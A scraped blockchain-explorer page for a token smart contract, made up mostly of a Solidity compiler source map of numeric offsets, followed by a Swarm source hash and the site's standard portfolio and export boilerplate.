;:9;:18;;;;;;;15037:119;21046:24:::1;21071:1;21073;21075:7;1812::::0;1839:6;-1:-1:-1;;;;;1839:6:0;;1766:87;21075:7:::1;20970:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;20970:129:0;;;-1:-1:-1;;;;;6206:32:1;;;20970:129:0::1;::::0;::::1;6188:51:1::0;6255:18;;;6248:34;;;;6298:18;;;6291:34;;;;6341:18;;;6334:34;6405:32;;;6384:19;;;6377:61;21083:15:0::1;6454:19:1::0;;;6447:35;6160:19;;20970:129:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;21117:13:0::1;::::0;21148:15:::1;::::0;21110:71:::1;::::0;-1:-1:-1;;;21110:71:0;;-1:-1:-1;;;;;21148:15:0;;::::1;21110:71;::::0;::::1;7128:51:1::0;-1:-1:-1;;7195:18:1;;;7188:34;21117:13:0;::::1;::::0;-1:-1:-1;21110:29:0::1;::::0;7101:18:1;;21110:71:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;21192:11:0::1;:16:::0;;-1:-1:-1;;;;21219:16:0;-1:-1:-1;;;21219:16:0;;;20292:951::o;21669:272::-;21771:10;21752:30;;;;:18;:30;;;;;;;;21744:39;;;;;;21813:41;;-1:-1:-1;;;21813:41:0;;21848:4;21813:41;;;2419:51:1;21795:15:0;;21813:63;;21872:3;;21813:54;;21859:7;;-1:-1:-1;;;;;21813:26:0;;;;;2392:18:1;;21813:41:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45;;:54::i;:::-;:58;;:63::i;:::-;21913:10;;;21887:46;;-1:-1:-1;;;21887:46:0;;-1:-1:-1;;;;;21913:10:0;;;21887:46;;;7128:51:1;;;;7195:18;;;7188:34;;;21795:81:0;;-1:-1:-1;21887:25:0;;;;;;7101:18:1;;21887:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;21733:208;21669:272;;:::o;2008:201::-;1812:7;1839:6;-1:-1:-1;;;;;1839:6:0;822:10;2342:23;2334:68;;;;-1:-1:-1;;;2334:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2097:22:0;::::1;2089:73;;;::::0;-1:-1:-1;;;2089:73:0;;8239:2:1;2089:73:0::1;::::0;::::1;8221:21:1::0;8278:2;8258:18;;;8251:30;8317:34;8297:18;;;8290:62;-1:-1:-1;;;8368:18:1;;;8361:36;8414:19;;2089:73:0::1;8037:402:1::0;2089:73:0::1;2173:28;2192:8;2173:18;:28::i;:::-;2008:201:::0;:::o;15980:335::-;-1:-1:-1;;;;;16073:19:0;;16065:68;;;;-1:-1:-1;;;16065:68:0;;8646:2:1;16065:68:0;;;8628:21:1;8685:2;8665:18;;;8658:30;8724:34;8704:18;;;8697:62;-1:-1:-1;;;8775:18:1;;;8768:34;8819:19;;16065:68:0;8444:400:1;16065:68:0;-1:-1:-1;;;;;16152:21:0;;16144:68;;;;-1:-1:-1;;;16144:68:0;;9051:2:1;16144:68:0;;;9033:21:1;9090:2;9070:18;;;9063:30;9129:34;9109:18;;;9102:62;-1:-1:-1;;;9180:18:1;;;9173:32;9222:19;;16144:68:0;8849:398:1;16144:68:0;-1:-1:-1;;;;;16223:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16275:32;;1283:25:1;;;16275:32:0;;1256:18:1;16275:32:0;;;;;;;15980:335;;;:::o;16323:2280::-;-1:-1:-1;;;;;16411:18:0;;16403:68;;;;-1:-1:-1;;;16403:68:0;;9454:2:1;16403:68:0;;;9436:21:1;9493:2;9473:18;;;9466:30;9532:34;9512:18;;;9505:62;-1:-1:-1;;;9583:18:1;;;9576:35;9628:19;;16403:68:0;9252:401:1;16403:68:0;-1:-1:-1;;;;;16490:16:0;;16482:64;;;;-1:-1:-1;;;16482:64:0;;9860:2:1;16482:64:0;;;9842:21:1;9899:2;9879:18;;;9872:30;9938:34;9918:18;;;9911:62;-1:-1:-1;;;9989:18:1;;;9982:33;10032:19;;16482:64:0;9658:399:1;16482:64:0;16574:1;16565:6;:10;16557:64;;;;-1:-1:-1;;;16557:64:0;;10264:2:1;16557:64:0;;;10246:21:1;10303:2;10283:18;;;10276:30;10342:34;10322:18;;;10315:62;-1:-1:-1;;;10393:18:1;;;10386:39;10442:19;;16557:64:0;10062:405:1;16557:64:0;16634:17;1839:6;;-1:-1:-1;;;;;16670:15:0;;;1839:6;;16670:15;;;;:32;;-1:-1:-1;1812:7:0;1839:6;-1:-1:-1;;;;;16689:13:0;;;1839:6;;16689:13;;16670:32;16666:1578;;;16721:9;;16732:1;16721:12;16718:139;;16765:76;16837:3;16765:67;16787:15;;16777:9;;:25;16776:55;;16817:14;;16776:55;;;16804:12;;16776:55;16765:6;;:10;:67::i;:76::-;16754:87;;16718:139;16884:1;16874:9;;:11;:26;;;;-1:-1:-1;16889:11:0;;-1:-1:-1;;;16889:11:0;;;;16874:26;16871:113;;;16931:37;16951:6;16959:2;16963:4;16931:19;:37::i;:::-;16921:47;;16871:113;17009:78;17083:3;17009:69;17033:15;;17021:9;;:27;17020:57;;17063:14;;17020:57;;17009:78;17128:13;;16998:89;;-1:-1:-1;;;;;;17120:21:0;;;17128:13;;17120:21;:54;;;;-1:-1:-1;17158:15:0;;-1:-1:-1;;;;;17145:29:0;;;17158:15;;17145:29;;17120:54;:81;;;;-1:-1:-1;;;;;;17179:22:0;;;;;;:18;:22;;;;;;;;17178:23;17120:81;17116:415;;;17240:12;;17230:6;:22;;17222:60;;;;-1:-1:-1;;;17222:60:0;;10674:2:1;17222:60:0;;;10656:21:1;10713:2;10693:18;;;10686:30;10752:27;10732:18;;;10725:55;10797:18;;17222:60:0;10472:349:1;17222:60:0;17335:14;;17325:6;17309:13;17319:2;-1:-1:-1;;;;;15130:18:0;15103:7;15130:18;;;:9;:18;;;;;;;15037:119;17309:13;:22;;;;:::i;:::-;:40;;17301:79;;;;-1:-1:-1;;;17301:79:0;;11158:2:1;17301:79:0;;;11140:21:1;11197:2;11177:18;;;11170:30;11236:28;11216:18;;;11209:56;11282:18;;17301:79:0;10956:350:1;17301:79:0;17409:76;17481:3;17409:67;17431:15;;17421:9;;:25;17420:55;;17461:14;;17420:55;;17409:76;17504:9;:11;;17399:86;;-1:-1:-1;17504:9:0;:11;;;:::i;:::-;;;;;;17116:415;17557:13;;-1:-1:-1;;;;;17551:19:0;;;17557:13;;17551:19;:44;;;;-1:-1:-1;;;;;;17574:21:0;;17590:4;17574:21;;17551:44;17547:175;;;17627:79;17702:3;17627:70;17649:16;;17639:9;;:26;17638:58;;17681:15;;17638:58;;;17667:13;;17627:6;;:10;:70::i;:79::-;17616:90;;17547:175;17788:4;17738:28;15130:18;;;:9;:18;;;;;;17813:6;;-1:-1:-1;;;17813:6:0;;;;17812:7;:30;;;;-1:-1:-1;17829:13:0;;-1:-1:-1;;;;;17823:19:0;;;17829:13;;17823:19;17812:30;:45;;;;-1:-1:-1;17846:11:0;;-1:-1:-1;;;17846:11:0;;;;17812:45;:89;;;;;17884:17;;17861:20;:40;17812:89;:123;;;;;17917:18;;17905:9;;:30;17812:123;17809:424;;;17956:69;17973:51;17977:6;17985:38;17989:20;18011:11;;17985:3;:38::i;:::-;17973:3;:51::i;:::-;17956:16;:69::i;:::-;18073:21;18117:22;;18113:105;;18163:35;18176:21;18163:12;:35::i;:::-;17937:296;17809:424;16703:1541;16666:1578;18259:13;;18256:164;;18329:4;18311:24;;;;:9;:24;;;;;;:39;;18340:9;18311:28;:39::i;:::-;18304:4;18286:24;;;;:9;:24;;;;;;;:64;;;;18368:40;;-1:-1:-1;;;;;18368:40:0;;;;;;;18398:9;1283:25:1;;1271:2;1256:18;;1137:177;18368:40:0;;;;;;;;18256:164;-1:-1:-1;;;;;18446:15:0;;;;;;:9;:15;;;;;;:27;;18466:6;18446:19;:27::i;:::-;-1:-1:-1;;;;;18430:15:0;;;;;;:9;:15;;;;;:43;18498:40;18516:21;:6;18527:9;18516:10;:21::i;:::-;-1:-1:-1;;;;;18498:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;18484:13:0;;;;;;;:9;:13;;;;;:54;;;;18554:41;;;18573:21;:6;18584:9;18573:10;:21::i;:::-;18554:41;;1283:25:1;;;1271:2;1256:18;18554:41:0;;;;;;;16392:2211;16323:2280;;;:::o;10241:240::-;10361:7;10422:12;10414:6;;;;10406:29;;;;-1:-1:-1;;;10406:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;10457:5:0;;;10241:240::o;19020:483::-;14235:6;:12;;-1:-1:-1;;;;14235:12:0;-1:-1:-1;;;14235:12:0;;;19122:16:::1;::::0;;19136:1:::1;19122:16:::0;;;;;::::1;::::0;;-1:-1:-1;;19122:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;19122:16:0::1;19098:40;;19167:4;19149;19154:1;19149:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;19149:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;19193:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;19193:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;19149:7;;19193:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19183:4;19188:1;19183:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;19183:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;19258:15:::1;::::0;19226:62:::1;::::0;19243:4:::1;::::0;19258:15:::1;19276:11:::0;19226:8:::1;:62::i;:::-;19299:15;::::0;:196:::1;::::0;-1:-1:-1;;;19299:196:0;;-1:-1:-1;;;;;19299:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;19380:11;;19299:15:::1;::::0;19422:4;;19449::::1;::::0;19469:15:::1;::::0;19299:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;14270:6:0;:13;;-1:-1:-1;;;;14270:13:0;;;-1:-1:-1;;;;19020:483:0:o;18611:92::-;18668:10;;:27;;-1:-1:-1;;;;;18668:10:0;;;;:27;;;;;18688:6;;18668:10;:27;:10;:27;18688:6;18668:10;:27;;;;;;;;;;;;;;;;;;;3036:191;3110:16;3129:6;;-1:-1:-1;;;;;3146:17:0;;;-1:-1:-1;;;;;;3146:17:0;;;;;;3179:40;;3129:6;;;;;;;3179:40;;3110:16;3179:40;3099:128;3036:191;:::o;9263:98::-;9321:7;9348:5;9352:1;9348;:5;:::i;9663:98::-;9721:7;9748:5;9752:1;9748;:5;:::i;19692:418::-;19779:7;822:10;18841:20;18889:8;;19801:49;;;;-1:-1:-1;;;;;;19829:21:0;;19845:4;19829:21;;19801:49;:85;;;;-1:-1:-1;822:10:0;19854:32;;;;:18;:32;;;;;;;;19801:85;19798:154;;;-1:-1:-1;;;;;;19621:18:0;;19601:7;19621:18;;;:11;:18;;;;;;;;822:10;19621:27;;;;;;;:36;;;19901:51;;19798:154;18841:20;;18889:8;;19966:37;;;;-1:-1:-1;19990:13:0;;-1:-1:-1;;;;;19984:19:0;;;19990:13;;19984:19;;19966:37;:73;;;;-1:-1:-1;822:10:0;20007:32;;;;:18;:32;;;;;;;;19966:73;19963:120;;;-1:-1:-1;;;;;20054:22:0;;;;;;:18;:22;;;;;:29;;-1:-1:-1;;20054:29:0;20079:4;20054:29;;;19963:120;-1:-1:-1;20101:1:0;19692:418;;;;;:::o;18913:99::-;18970:7;18998:1;18996;:3;18995:9;;19003:1;18995:9;;;-1:-1:-1;19001:1:0;18913:99;-1:-1:-1;18913:99:0:o;8523:98::-;8581:7;8608:5;8612:1;8608;:5;:::i;8905:98::-;8963:7;8990:5;8994:1;8990;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;2874:127::-;2935:10;2930:3;2926:20;2923:1;2916:31;2966:4;2963:1;2956:15;2990:4;2987:1;2980:15;3006:375;3094:1;3112:5;3126:249;3147:1;3137:8;3134:15;3126:249;;;3197:4;3192:3;3188:14;3182:4;3179:24;3176:50;;;3206:18;;:::i;:::-;3256:1;3246:8;3242:16;3239:49;;;3270:16;;;;3239:49;3353:1;3349:16;;;;;3309:15;;3126:249;;;3006:375;;;;;;:::o;3386:902::-;3435:5;3465:8;3455:80;;-1:-1:-1;3506:1:1;3520:5;;3455:80;3554:4;3544:76;;-1:-1:-1;3591:1:1;3605:5;;3544:76;3636:4;3654:1;3649:59;;;;3722:1;3717:174;;;;3629:262;;3649:59;3679:1;3670:10;;3693:5;;;3717:174;3754:3;3744:8;3741:17;3738:43;;;3761:18;;:::i;:::-;-1:-1:-1;;3817:1:1;3803:16;;3876:5;;3629:262;;3975:2;3965:8;3962:16;3956:3;3950:4;3947:13;3943:36;3937:2;3927:8;3924:16;3919:2;3913:4;3910:12;3906:35;3903:77;3900:203;;;-1:-1:-1;4012:19:1;;;4088:5;;3900:203;4135:42;-1:-1:-1;;4160:8:1;4154:4;4135:42;:::i;:::-;4213:6;4209:1;4205:6;4201:19;4192:7;4189:32;4186:58;;;4224:18;;:::i;:::-;4262:20;;3386:902;-1:-1:-1;;;3386:902:1:o;4293:140::-;4351:5;4380:47;4421:4;4411:8;4407:19;4401:4;4380:47;:::i;4438:168::-;4511:9;;;4542;;4559:15;;;4553:22;;4539:37;4529:71;;4580:18;;:::i;4611:356::-;4813:2;4795:21;;;4832:18;;;4825:30;4891:34;4886:2;4871:18;;4864:62;4958:2;4943:18;;4611:356::o;5324:251::-;5394:6;5447:2;5435:9;5426:7;5422:23;5418:32;5415:52;;;5463:1;5460;5453:12;5415:52;5495:9;5489:16;5514:31;5539:5;5514:31;:::i;6493:456::-;6581:6;6589;6597;6650:2;6638:9;6629:7;6625:23;6621:32;6618:52;;;6666:1;6663;6656:12;6618:52;-1:-1:-1;;6711:16:1;;6817:2;6802:18;;6796:25;6913:2;6898:18;;;6892:25;6711:16;;6796:25;;-1:-1:-1;6892:25:1;6493:456;-1:-1:-1;6493:456:1:o;7233:277::-;7300:6;7353:2;7341:9;7332:7;7328:23;7324:32;7321:52;;;7369:1;7366;7359:12;7321:52;7401:9;7395:16;7454:5;7447:13;7440:21;7433:5;7430:32;7420:60;;7476:1;7473;7466:12;7515:230;7585:6;7638:2;7626:9;7617:7;7613:23;7609:32;7606:52;;;7654:1;7651;7644:12;7606:52;-1:-1:-1;7699:16:1;;7515:230;-1:-1:-1;7515:230:1:o;10826:125::-;10891:9;;;10912:10;;;10909:36;;;10925:18;;:::i;11311:135::-;11350:3;11371:17;;;11368:43;;11391:18;;:::i;:::-;-1:-1:-1;11438:1:1;11427:13;;11311:135::o;11583:127::-;11644:10;11639:3;11635:20;11632:1;11625:31;11675:4;11672:1;11665:15;11699:4;11696:1;11689:15;11715:959;11977:4;12025:3;12014:9;12010:19;12056:6;12045:9;12038:25;12099:6;12094:2;12083:9;12079:18;12072:34;12142:3;12137:2;12126:9;12122:18;12115:31;12166:6;12201;12195:13;12232:6;12224;12217:22;12270:3;12259:9;12255:19;12248:26;;12309:2;12301:6;12297:15;12283:29;;12330:1;12340:195;12354:6;12351:1;12348:13;12340:195;;;12419:13;;-1:-1:-1;;;;;12415:39:1;12403:52;;12484:2;12510:15;;;;12475:12;;;;12451:1;12369:9;12340:195;;;-1:-1:-1;;;;;;;12591:32:1;;;;12586:2;12571:18;;12564:60;-1:-1:-1;;12655:3:1;12640:19;12633:35;12552:3;11715:959;-1:-1:-1;;;11715:959:1:o;12679:217::-;12719:1;12745;12735:132;;12789:10;12784:3;12780:20;12777:1;12770:31;12824:4;12821:1;12814:15;12852:4;12849:1;12842:15;12735:132;-1:-1:-1;12881:9:1;;12679:217::o;12901:128::-;12968:9;;;12989:11;;;12986:37;;;13003:18;;:::i
Swarm Source
ipfs://4d7ead19b4feb80150256263cf853d82f0533008886298bd9318b6e8026725be
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 34 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.